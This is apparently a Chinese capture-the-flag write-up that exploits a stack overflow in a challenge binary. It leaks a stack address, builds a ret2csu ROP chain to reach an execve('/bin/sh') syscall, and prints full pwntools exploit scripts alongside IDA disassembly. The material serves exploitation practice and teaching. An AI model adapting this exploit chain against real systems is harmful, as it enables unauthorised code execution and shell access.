Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
主体函数非常简单 利用系统调用号实现了一次输入和输出
signed __int64 vuln() { signed __int64 v0; char buf[16];
v0 = sys_read(0, buf, 0x400uLL); return sys_write(1u, buf, 0x30uLL); }
|
还有一个gadget函数 看一下汇编代码
.text:00000000004004D6 ; =============== S U B R O U T I N E ======================================= .text:00000000004004D6 .text:00000000004004D6 ; Attributes: bp-based frame .text:00000000004004D6 .text:00000000004004D6 public gadgets .text:00000000004004D6 gadgets proc near .text:00000000004004D6 ; __unwind { .text:00000000004004D6 push rbp .text:00000000004004D7 mov rbp, rsp .text:00000000004004DA mov rax, 0Fh .text:00000000004004E1 retn .text:00000000004004E1 gadgets endp ; sp-analysis failed .text:00000000004004E1 .text:00000000004004E2 ; --------------------------------------------------------------------------- .text:00000000004004E2 mov rax, 3Bh ; ';' .text:00000000004004E9 retn .text:00000000004004E9 ; ---------------------------------------------------------------------------
|
下方的0x3b则为59 是execve的系统调用号
应该是构造rop链 但是这题没有办法泄露libc基址 从而也没有办法获取/bin/sh的地址
所以只能通过写入栈上
要想利用栈 先得获得栈的地址 发现sys_write函数可以打印出0x30字节 而buf距离rbp只有0x10
还有一点需要注意 发现vuln函数的结尾并没有leave指令 也就是说我们只需要覆盖rbp就可以控制程序执行流
.text:00000000004004ED ; __unwind { .text:00000000004004ED push rbp .text:00000000004004EE mov rbp, rsp .text:00000000004004F1 xor rax, rax .text:00000000004004F4 mov edx, 400h ; count .text:00000000004004F9 lea rsi, [rsp+buf] ; buf .text:00000000004004FE mov rdi, rax ; fd .text:0000000000400501 syscall ; LINUX - sys_read .text:0000000000400503 mov rax, 1 .text:000000000040050A mov edx, 30h ; '0' ; count .text:000000000040050F lea rsi, [rsp+buf] ; buf .text:0000000000400514 mov rdi, rax ; fd .text:0000000000400517 syscall ; LINUX - sys_write .text:0000000000400519 retn .text:0000000000400519 vuln endp ; sp-analysis failed .text:0000000000400519 .text:0000000000400519 ; ---------------------------------------------------------------------------
|
from pwn import* io = process("./pwn")
elf = ELF("./pwn") context.log_level = "debug" context.arch = "amd64" main_addr = elf.sym['main'] payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr) io.send(payload) io.recvuntil("c") io.recv(16) stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00")) gdb.attach(io) print(hex(stack_addr))
|
可以看到泄露出了栈上的地址 但是此时我们并没有办法得知其与写入栈上的/bin/sh的偏移
这里的原因暂时没有办法得知 先放着这个疑问
下面我们进行系统调用 由于需要用到三个寄存器 所以这里用到csu
具体的流程我就不过多赘述了
rdi_addr = 0x4005a3 syscall_addr = 0x400517 int59_addr = 0x4004E2 gadget2_addr = 0x400596 gadget1_addr = 0x400580 payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) binsh_addr = stack_addr - 0x138 payload += p64(binsh_addr+0x10) payload += p64(0)*3 payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(rdi_addr) payload += p64(binsh_addr) payload += p64(syscall_addr) io.sendline(payload)
|
这里重点解释一下三个方面
1.为什么要多出一个p64(int59_addr)在栈上
这是因为call指令的问题 他跳转的是对应地址中存储的值 我们如果直接跳转到int59_addr是调用失败的
2.binsh_addr和stack_addr的偏移是怎么求出来的
我们将断点打在csu执行到call r12那一行
然后gdb看一下栈
可以计算出偏移为0x138
还有第二种办法可以查看到/bin/sh位于栈上的地址 stack 24实际上是以rsp往高地址方向
如果我们使rsp的地址减少 就可以做到查看低地址处的栈内容
看到这里你也能够理解我们赋值给r12的binsh_addr+0x10是什么用意了吧
最终exp:
from pwn import* io = process("./pwn")
elf = ELF("./pwn") context.log_level = "debug" context.arch = "amd64" main_addr = elf.sym['main'] payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr) io.send(payload) io.recvuntil("c") io.recv(16) stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00")) binsh_addr = stack_addr - 0x138 rdi_addr = 0x4005a3 syscall_addr = 0x400517 int59_addr = 0x4004E2 gadget2_addr = 0x400596 gadget1_addr = 0x400580 payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(binsh_addr+0x10) payload += p64(0)*3 payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(rdi_addr) payload += p64(binsh_addr) payload += p64(syscall_addr) io.sendline(payload) io.interactive()
|